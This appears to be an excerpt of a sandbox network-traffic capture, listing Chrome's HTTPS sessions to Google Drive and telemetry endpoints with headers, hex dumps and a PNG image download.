2024-11-14 19:43:01 UTC	4834	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 39 2c 5b 5b 22 31 37 33 31 36 31 33 33 37 38 36 38 39 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0,0,0]]],189,[["1731613378689",null,null,null,
2024-11-14 19:43:01 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Thu, 14 Nov 2024 19:43:01 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-14 19:43:01 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-14 19:43:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49786	142.250.186.46	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:01 UTC	1115	OUT	GET /viewer2/prod-00/meta?ck=drive&ds=APznzaZz6eMBNkv136qDlo7lERY8MZH49StBJRz0JuauXbnwRN5xqurc6WnKPC_7_u-cjTsWq9ovr0Lggl8Xk5aKHGq9BouoX0EHPNRSIVDASENXRGTpj0TusFGPDD6YMB4spgJlDFw6LGobFDnP72N6k4Nlq8xxSCtsWkAbSKYphyKHeOTqL9dpTcBpho1c9gz-X-KZIWzSrjATJYI3EliH8EGAiJ9BNCK68g1PJxpL8Yoc8Lx87q2lFlX65rVLjfhSPGw_oj3XdbH91zHso9_0rwvpf1rLoSS2v2Cn-GpExKYnqGGNK4Lr713f_-Ntsns9Jh8vaRfW6W84kUTyFu3oJKO7ozcelJxM7bW8wMwR2TRcmr6fY2u2Pb80705LbBqmNrQiJMxPejWj8b80sfuq4_wvIcujqA%3D%3D&authuser=0 HTTP/1.1 Host: drive.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:01 UTC	2188	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 14 Nov 2024 19:43:01 GMT Content-Disposition: attachment; filename="json.txt"; filename=UTF-8''json.txt Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy-Report-Only: require-corp; report-to="AppsViewerFrontendHttp" Content-Security-Policy: script-src 'report-sample' 'nonce-tb0H_WpB6rQE3_kGtu481A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AppsViewerFrontendHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AppsViewerFrontendHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AppsViewerFrontendHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Report-To: {"group":"AppsViewerFrontendHttp","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AppsViewerFrontendHttp"}]} Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version= reporting-endpoints: default="/_/AppsViewerFrontendHttp/web-reports?context=eJzj8tDikmLw15BicNu9k8kbiCW-vmTSAmKn9BmsIUDcevMc63QgTvp3nrUEiA0VLrE6A7FqzyVWcyAukrjC2gLEQjwcR5fe3Mkm0LFoVzOTknpSfmF8YkFBsW5ZZmp5apFuWlF-XklqXkq8kYGRiaGhgbmegWF8gSEAW3Uvow" Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-14 19:43:01 UTC	656	IN	Data Raw: 32 38 39 0d 0a 29 5d 7d 27 0a 7b 22 70 61 67 65 73 22 3a 31 2c 22 6d 61 78 50 61 67 65 57 69 64 74 68 22 3a 33 32 30 30 2c 22 70 64 66 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 64 6f 63 2d 30 30 2d 39 6b 2d 70 72 6f 64 2d 30 30 2d 61 70 70 73 2d 76 69 65 77 65 72 2e 67 6f 6f 67 6c 65 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 5c 2f 76 69 65 77 65 72 32 5c 2f 70 72 6f 64 2d 30 30 5c 2f 70 64 66 5c 2f 71 6a 33 30 33 68 71 65 76 39 75 67 32 30 63 66 73 30 6b 32 73 75 66 30 63 6f 63 65 6d 68 67 68 5c 2f 70 6c 73 32 36 72 37 36 61 34 38 39 69 66 70 75 67 61 31 67 66 63 6e 6c 75 72 39 73 72 75 30 6f 5c 2f 31 37 33 31 36 31 33 33 35 30 30 30 30 5c 2f 33 5c 2f 2a 5c 2f 41 50 7a 6e 7a 61 5a 7a 36 65 4d 42 4e 6b 76 31 33 36 71 44 6c 6f 37 6c 45 52 59 38 4d 5a 48 34 Data Ascii: 289)]}'{"pages":1,"maxPageWidth":3200,"pdf":"https:\/\/doc-00-9k-prod-00-apps-viewer.googleusercontent.com\/viewer2\/prod-00\/pdf\/qj303hqev9ug20cfs0k2suf0cocemhgh\/pls26r76a489ifpuga1gfcnlur9sru0o\/1731613350000\/3\/*\/APznzaZz6eMBNkv136qDlo7lERY8MZH4
2024-11-14 19:43:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49784	142.250.185.238	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:01 UTC	1369	OUT	GET /viewer2/prod-00/img?ck=drive&ds=APznzaZz6eMBNkv136qDlo7lERY8MZH49StBJRz0JuauXbnwRN5xqurc6WnKPC_7_u-cjTsWq9ovr0Lggl8Xk5aKHGq9BouoX0EHPNRSIVDASENXRGTpj0TusFGPDD6YMB4spgJlDFw6LGobFDnP72N6k4Nlq8xxSCtsWkAbSKYphyKHeOTqL9dpTcBpho1c9gz-X-KZIWzSrjATJYI3EliH8EGAiJ9BNCK68g1PJxpL8Yoc8Lx87q2lFlX65rVLjfhSPGw_oj3XdbH91zHso9_0rwvpf1rLoSS2v2Cn-GpExKYnqGGNK4Lr713f_-Ntsns9Jh8vaRfW6W84kUTyFu3oJKO7ozcelJxM7bW8wMwR2TRcmr6fY2u2Pb80705LbBqmNrQiJMxPejWj8b80sfuq4_wvIcujqA%3D%3D&authuser=0&page=0&skiphighlight=true&w=800&webp=true HTTP/1.1 Host: drive.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:01 UTC	2048	IN	HTTP/1.1 200 OK Content-Type: image/png Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 14 Nov 2024 19:43:01 GMT Strict-Transport-Security: max-age=31536000 Report-To: {"group":"AppsViewerFrontendHttp","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AppsViewerFrontendHttp"}]} Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AppsViewerFrontendHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-CoIxWAfahxcguW31xizmXg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AppsViewerFrontendHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AppsViewerFrontendHttp/cspreport/allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy-Report-Only: require-corp; report-to="AppsViewerFrontendHttp" Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version reporting-endpoints: default="/_/AppsViewerFrontendHttp/web-reports?context=eJzj8tDikmLw15BicNu9k8kbiCW-vmTSAmKn9BmsIUDcevMc63QgTvp3nrUEiA0VLrE6A7FqzyVWcyAukrjC2gLEQjwcR5fe3Mkm0PFu4hImJfWk_ML4xIKCYt2yzNTy1CLdtKL8vJLUvJR4IwMjE0NDA3M9A8P4AkMAZ1Av5w" Transfer-Encoding: chunked Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-14 19:43:01 UTC	2048	IN	Data Raw: 37 66 66 32 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 20 00 00 01 c2 08 02 00 00 00 98 01 3a 9f 00 00 20 00 49 44 41 54 78 9c ec dd 77 9c 1c c7 75 2f fa 73 aa aa d3 a4 9d 8d 58 2c 72 ce 99 04 08 30 83 99 12 49 49 14 15 28 c9 b2 b2 2d d9 92 6c 3f 5d d9 ef d9 7e be be 96 af ec 6b 59 92 65 91 12 93 2c 2a 90 62 02 73 06 13 40 12 20 41 02 44 24 91 73 d8 30 3b b9 a7 bb ab ea dc 3f 7a 31 58 2c 00 12 a4 56 66 40 7d 3f 24 3e bb 33 3d dd d5 bd b3 d3 bf ad 3a 5d 8d 61 48 00 00 04 c0 00 08 10 00 10 80 01 28 00 04 a0 c3 ff 32 20 05 80 c0 38 70 06 86 61 18 86 61 18 c6 89 20 11 bd db 6d 30 0c c3 30 0c c3 f8 40 31 9d 51 86 61 18 86 61 18 83 cc 04 2c c3 30 0c c3 30 8c 41 66 02 96 61 18 86 61 18 c6 20 33 01 cb 30 0c c3 30 0c 63 90 99 80 65 18 86 61 18 Data Ascii: 7ff2PNGIHDR : IDATxwu/sX,r0II(-l?]~kYe,*bs@ AD$s0;?z1X,Vf@}?$>3=:]aH(2 8paa m00@1Qaa,00Afaa 300cea
2024-11-14 19:43:01 UTC	2048	IN	Data Raw: 6e c5 a0 d2 64 35 66 99 65 bd db ed 30 0c c3 30 8c a3 98 80 75 ca 50 aa eb e5 55 b5 fb ee 05 ad df ed a6 0c 1a 24 68 fb b3 3f 4b 4e 9c 00 0c df ed b6 bc ef 11 11 28 05 44 80 08 00 47 fd 1b 2f 10 45 f2 60 a7 ae 96 81 31 66 db 00 00 8c 23 67 c0 39 5a 36 4f a7 d0 71 00 80 a4 94 87 3a c3 7d fb 40 29 d1 dc 24 86 0d e3 c9 e4 60 b7 15 74 14 e9 7c 5e 95 8a 24 95 68 69 e6 4d 4d 88 e6 3d 60 18 c6 7b 88 09 58 a7 10 b9 67 77 74 f3 2f 41 f0 77 bb 21 83 47 06 c1 a7 3f 95 a4 71 00 1f a0 9d 7a 97 a8 9e 9e 60 eb 36 d0 0a 85 85 96 60 96 0d 00 60 59 c0 39 13 1c 10 a3 9d 3b 0b f7 dc 2b 7b ba 51 08 66 5b 00 08 42 a0 10 28 04 cb 36 a6 3f 7a 95 37 7d 3a 49 e5 af 5b 57 b8 f5 57 c1 e6 ad 14 29 6b 58 7b f2 d2 8b 1a ae bc 12 6d 1b 10 21 0e 41 03 92 d0 3b 08 46 44 c1 b6 6d c1 96 2d Data Ascii: nd5fe00uPU$h?KN(DG/E`1f#g9Z6Oq:}@)$`t\|^$hiMM=`{Xgwt/Aw!G?qz`6``Y9;+{Qf[B(6?z7}:I[WW)kX{m!A;FDm-
2024-11-14 19:43:01 UTC	2048	IN	Data Raw: aa 54 01 14 29 05 4a a9 6a 55 fb 3e 48 a9 c3 50 17 4b aa 5a 53 41 00 b9 5e 9d 2f c8 ce 83 e4 97 e3 57 a1 e3 90 97 e4 99 34 f3 3c 66 db e8 ba 3c 99 62 13 26 38 73 66 67 ce 39 3b be 83 61 b8 6d 5b f1 de fb 93 e7 9d 63 b5 34 03 00 6a cd 9a 9a 65 67 4f fe a6 5f d4 9e 5f 0e 3a c2 44 c2 3b 67 a1 3b 6d aa 35 7c 84 18 39 5c 55 aa 54 0b d0 b6 ec e1 c3 a3 ee 6e e0 9c a7 d3 e8 ba c8 18 72 ce 2d cb 9b 92 f6 26 4d d4 be 1f 6c de 1c ac 79 ad b6 65 9b bf e6 35 31 7a 54 62 f6 6c 6b e8 50 de d0 80 87 3b cf 0c c3 30 7e 1f 26 60 19 c6 a9 41 a9 ea ca 97 8a 77 dc 09 52 42 a4 ad c9 53 1a 3e fb 59 b0 6d 44 8c 7b 7d 28 ae 0d 27 aa 17 89 f7 21 02 db e6 c9 54 df 6a fc 2a d4 02 00 aa 97 c6 03 63 88 0c 18 c6 5d 5f 40 44 44 14 45 71 d8 d2 41 48 51 48 61 08 b5 1a d5 02 0a 42 5d 2a ea Data Ascii: T)JjU>HPKZSA^/W4<f<b&8sfg9;am[c4jegO__:D;g;m5\|9\UTnr-&Mlye51zTblkP;0~&`AwRBS>YmD{}('!Tjc]_@DDEqAHQHaB]
2024-11-14 19:43:01 UTC	2048	IN	Data Raw: c0 18 69 0d 99 64 d3 57 be e8 ce 98 7e a2 74 05 00 e4 fb a8 8f 0a f1 3a 8a 6a ab d7 94 1e 7c 50 76 75 b1 86 86 e4 c5 17 a7 cf 5c 84 71 be 21 2a 3f b9 b4 f7 86 1b 5b ff ee 6f d1 71 da bf fb 5d d1 dc 12 ae 5b 0b 51 44 9a 40 2b 92 32 da b1 2b da b3 0f 90 21 22 30 e6 9e 36 27 79 d6 d9 c8 18 00 90 d6 b2 ab ab 70 db 6d b9 9f 5e 4f 52 37 7d ed 4b 2d 7f fe 0d 4c a7 07 b6 89 31 9e c9 64 ae f8 90 3b 63 5a ef af 7f d3 fd 93 ff 4c 2d 3a 33 75 c9 c5 a2 a5 f9 a8 49 b0 10 11 91 37 34 24 4e 3f cd 99 30 be f4 f8 13 85 bb ee ac ae 5a 95 bc e0 82 d4 59 67 f3 6c 03 c6 93 3e fc 7e 48 a9 b8 f1 fd 67 1a 8b 0f 35 28 45 61 48 52 ea 30 04 4d 2c 93 66 ae 1b 57 d1 bd 9f e6 9d 3f dc df 49 f1 17 5a 53 3c 1b 48 1c bb 39 47 c6 a8 fe ed 7b 55 dc e6 e3 b6 90 0e 4f 6e 42 9a 90 33 14 a2 6f Data Ascii: idW~t:j\|Pvu\q!*?[oq][QD@+2+!"06'ypm^OR7}K-L1d;cZL-:3uI74$N?0ZYgl>~Hg5(EaHR0M,fW?IZS<H9G{UOnB3o
2024-11-14 19:43:01 UTC	2048	IN	Data Raw: f7 59 3c 36 31 1c be 05 21 49 85 29 4b 47 32 d8 b2 05 85 00 21 50 70 e0 1c 11 79 53 33 4b f4 c5 23 d2 9a 72 79 60 03 2b e5 c9 f7 eb df 31 c6 6e 8b 94 06 00 00 20 00 49 44 41 54 eb 01 2b d8 b9 13 c1 42 c1 8f d4 e0 1f 0b 91 67 b3 d9 ab 3f 86 99 74 66 f1 62 10 a2 af aa fd 87 3f 02 05 0d 9f bb b6 e9 6b 5f e1 43 da de 5e fe 60 cc 1a 39 a2 e1 d3 9f 74 e6 cc ee fd e5 ad 3d 3f f8 41 e2 d2 cb 32 8b 2f b4 c7 8f 61 89 63 aa 0f 39 b7 46 8e 4c b7 b7 27 4e 3f bd f4 fc 8b 85 3b 6e f7 b7 6e 49 2f 98 6f 8f 1f cf 33 99 b7 fb 2e b5 da 87 34 7d fe f3 18 c9 f2 bd 0f c8 7d 07 40 29 10 0e cb 24 59 5b 33 6f 6b f5 ce 3d cf 9d 36 d5 19 35 8a a5 92 00 a0 ca 15 04 e2 71 a8 fd c3 89 7f bb fb 20 30 7c 7b 3b 45 04 4a e9 20 90 b9 9c 2e 14 74 6f 1e 90 25 2f b9 d8 59 30 bf fa e2 8a da 33 Data Ascii: Y<61!I)KG2!PpyS3K#ry`+1n IDAT+Bg?tfb?k_C^`9t=?A2/ac9FL'N?;nnI/o3.4}}@)$Y[3ok=65q 0\|{;EJ .to%/Y03
2024-11-14 19:43:01 UTC	864	IN	Data Raw: 26 83 b6 8d c8 e2 fd 45 c7 71 27 4f 72 c6 8c 09 f7 ef 8b 36 bd ae 7a 7b ab 3d 3d e4 38 22 db e0 8d 1d 7b e4 82 4d a9 54 77 77 f9 e9 a7 4b f7 2c a9 bd b6 56 e7 72 40 1c 04 03 20 0c 87 83 9e 89 8e cb 9b 1a fb 37 84 a2 48 76 76 46 fb 0f 58 a3 47 59 2d 2d 80 48 51 54 79 61 85 e8 68 77 a7 4e 7d db 7f 6f 10 c5 05 70 ba bb 3b d8 bd 37 d8 bc 59 ed d9 23 0b 79 72 3d 9e 48 58 99 94 3b 76 0c cb 34 b0 e6 66 4c a5 50 70 e4 9c a4 a2 20 50 bd 39 ea c9 11 41 b0 6b 77 b0 7d bb 3d 76 9c 33 72 04 4b 26 d1 b2 2a eb 37 f8 f7 2e 09 b7 6e 93 07 bb c2 ae 6e ea e9 46 d2 c0 6d e6 25 e3 19 19 78 47 7b fa a3 1f c9 5e 73 8d 3d 61 7c ff 41 67 92 52 15 8a e8 d8 3c 95 02 00 d0 da 5f bf 21 58 bb 36 fb e9 4f 79 53 a6 24 67 cd 12 6d ad 3c 99 04 38 89 f9 0e e2 89 2d c2 50 fb be 2a 95 64 57 Data Ascii: &Eq'Or6z{==8"{MTwwK,Vr@ 7HvvFXGY--HQTyahwN}op;7Y#yr=HX;v4fLPp P9Akw}=v3rK&7.nnFm%xG{^s=a\|AgR<_!X6OyS$gm<8-PdW
2024-11-14 19:43:01 UTC	1168	IN	Data Raw: 20 da db 1a ff e2 db e9 0b 2f b4 86 b4 1d 79 c3 10 a9 72 39 78 63 73 69 e9 52 ef cc 45 99 85 0b 81 73 90 b2 fc c4 d2 60 d9 b3 0d 57 5d e5 4d 9e d4 7f 38 f8 64 7f 62 9e c7 5d 97 37 36 da 23 46 c2 dc 39 ba 56 53 f9 82 3c 78 48 ee db eb 6f dd 56 bc eb de 4a 4b c6 9e 3c 25 31 6d aa 35 76 ac d5 d6 76 d4 0d 9d 88 fa 6e 94 19 1f ad 4a 35 3a b0 bf fa fc 8b a5 87 1f 0a d7 6f d1 bd 9d a4 14 02 b2 6c 86 8f 19 9b 98 3b 57 b4 b6 1c f9 15 20 a2 28 92 f9 7c b4 7b 8f 2a 96 d2 e7 9e 5d bf 9f 66 b8 6d 6b b0 ee 35 de d8 94 3c 63 81 19 2b 3c 05 99 80 75 ca 43 04 a5 ca 1b 36 64 ca 15 d1 de de 70 f1 05 c5 67 9e 8b f6 75 a1 9d ae 2d 5d 8a 97 5f 96 3c fd 34 40 d6 f5 f8 e3 cc f7 21 ed 42 5c 62 00 04 5a 53 a1 40 9d 87 40 08 10 cc b9 fc b2 86 4f 7f 32 dc ba 55 ad ef df a1 41 a0 42 Data Ascii: /yr9xcsiREs`W]M8db]76#F9VS<xHoVJK<%1m5vvnJ5:ol;W (\|{*]fmk5<c+<uC6dpgu-]_<4@!B\bZS@@O2UAB
2024-11-14 19:43:01 UTC	1378	IN	Data Raw: e0 90 33 76 6c 5f b1 11 00 e4 72 27 8c 44 5a 63 32 d5 f4 d7 df ce 5c 72 71 e1 9e 7b 72 3f fb 39 e5 cb 47 5d e7 48 00 80 62 d4 f0 a6 3f fd 5a e6 ea 8f b1 01 77 71 7e c7 e2 9a 7a c7 61 6d ad a2 ad d5 9d 36 a5 f1 6a ad 83 40 f6 f4 c8 5c 6f d4 db 0b b5 9a 2e 16 00 09 5b 1c 2b 9d 8e 2b a5 48 69 ff e5 55 bd bf bb 43 fb 55 5d 28 a9 dd bb a9 54 41 c7 45 8b 03 b2 be fe 12 c7 49 9e 7b 4e fb bf ff 2b 6f 6c ac 8f b7 12 91 ae 54 82 d7 d6 e6 6e fd 75 e5 c1 07 50 23 01 e7 cd cd 7d 33 2a 69 4d a4 80 51 75 c3 a6 4c a5 72 a4 7f 2e 1e 23 83 be 0b 00 29 92 10 45 aa 5c 8e 0e 1e 94 bb 76 fa 9b 5e f7 5f 7f 83 95 8b 62 fc 84 c6 af 7e 25 39 7f be c8 66 e1 9d 9d ec e3 92 29 db e6 b6 0d 44 32 9f 57 e5 32 03 e4 99 4c 6a d1 19 d6 b8 d1 b5 a7 9e ce fd fb 8f c4 c8 51 c9 2b 3f dc f4 c5 Data Ascii: 3vl_r'DZc2\rq{r?9G]Hb?Zwq~zam6j@\o.[++HiUCU](TAEI{N+olTnuP#}3*iMQuLr.#)E\v^_b~%9f)D2W2LjQ+?
2024-11-14 19:43:01 UTC	1378	IN	Data Raw: 59 c8 79 67 2c 74 86 0d e3 43 da 44 4b 0b 00 50 14 92 94 2c 3e 49 bf 25 22 8a 24 69 4d d5 6a b8 63 87 0e c3 f0 c0 01 7f e3 eb 6a e3 86 da e6 2d 88 3c fd a9 4f 78 53 a6 5a c3 86 c5 6b 23 ad 8f 7b 81 44 df ca b4 4c 2e 38 3d bf 64 49 e1 17 ff a5 3a 7b fa a7 2b d2 1a 51 5b 53 a7 b6 7c e7 5b a9 0b 2f 38 f9 11 cc 77 8e 0e bf 7d e3 69 5a e3 59 a3 e2 0b fd 18 8b 87 d4 78 26 93 fd d4 a7 9c c9 53 aa cf 3d 57 db b2 55 75 75 eb 4a 95 38 b3 5a 5a c4 90 36 7b cc e8 f4 45 17 89 51 23 8f 5a 6b 18 56 97 2e ed fe d1 8f c3 4d 6f 00 17 08 80 b6 27 86 8d f2 d7 af ab 2e 5f 9e 69 bf 1a 5d d7 19 39 32 31 67 5e f0 8b 5f a8 fd fb 75 73 53 65 e5 4b ba e6 ab 72 45 e7 f3 b4 7f 9f 96 52 57 aa 8a 31 86 b6 3d 62 48 6a d1 22 7b dc 78 7b cc 18 de 98 8d db f6 96 fb 15 e7 60 8a 24 68 d5 77 Data Ascii: Yyg,tCDKP,>I%"$iMjcj-<OxSZk#{DL.8=dI:{+Q[S\|[/8w}iZYx&S=WUuuJ8ZZ6{EQ#ZkV.Mo'._i]921g^_usSeKrERW1=bHj"{x{`$hw
2024-11-14 19:43:01 UTC	1378	IN	Data Raw: ff d6 02 00 e4 22 58 f9 32 49 d9 97 ae 08 40 4a e2 c8 9a 9a 92 17 9e df f8 c5 2f b8 53 26 bf 93 74 a5 b5 8e 87 50 ab d5 b8 87 0f 2c 0b 1d 47 24 12 03 27 37 22 d2 b5 5a b4 6f 5f b8 79 4b 79 c5 ca 60 d5 6a b9 7b 2f d8 00 9c 23 f6 5d b5 81 51 84 52 b2 49 93 ac 09 13 dc 09 e3 ed 21 ed 2c 95 62 8e 4d 44 24 25 01 68 64 dc b6 45 5b db c0 99 02 b4 8e 76 ec e8 fc c7 ef 45 bb f6 22 17 7d 79 c8 73 9a bf fe 27 ce a4 89 ce 94 c9 b9 bb ee a9 bc f6 9a 33 7e 1c 32 e6 ce 99 65 4f 18 5f 7a fc f1 a6 cf 7d ae ed 6f fe 86 71 01 b6 8d b6 8d ae 83 42 f4 1d d8 7a 57 93 d6 3a 0c 55 3e af 7a f3 54 2e 83 d2 c0 19 a6 52 bc a5 59 34 34 f4 1d 31 a2 70 fb f6 ea 0b 2f 96 1e 7f 3c 5c b3 86 6a 35 12 82 21 02 02 10 02 47 8a 14 02 b1 e6 66 6b d2 24 31 6a 94 35 64 08 cb a4 b9 eb 11 91 ca e7 Data Ascii: "X2I@J/S&tP,G$'7"Zo_yKy`j{/#]QRI!,bMD$%hdE[vE"}ys'3~2eO_z}oqBzW:U>zT.RY441p/<\j5!Gfk$1j5d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49785	142.250.185.238	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
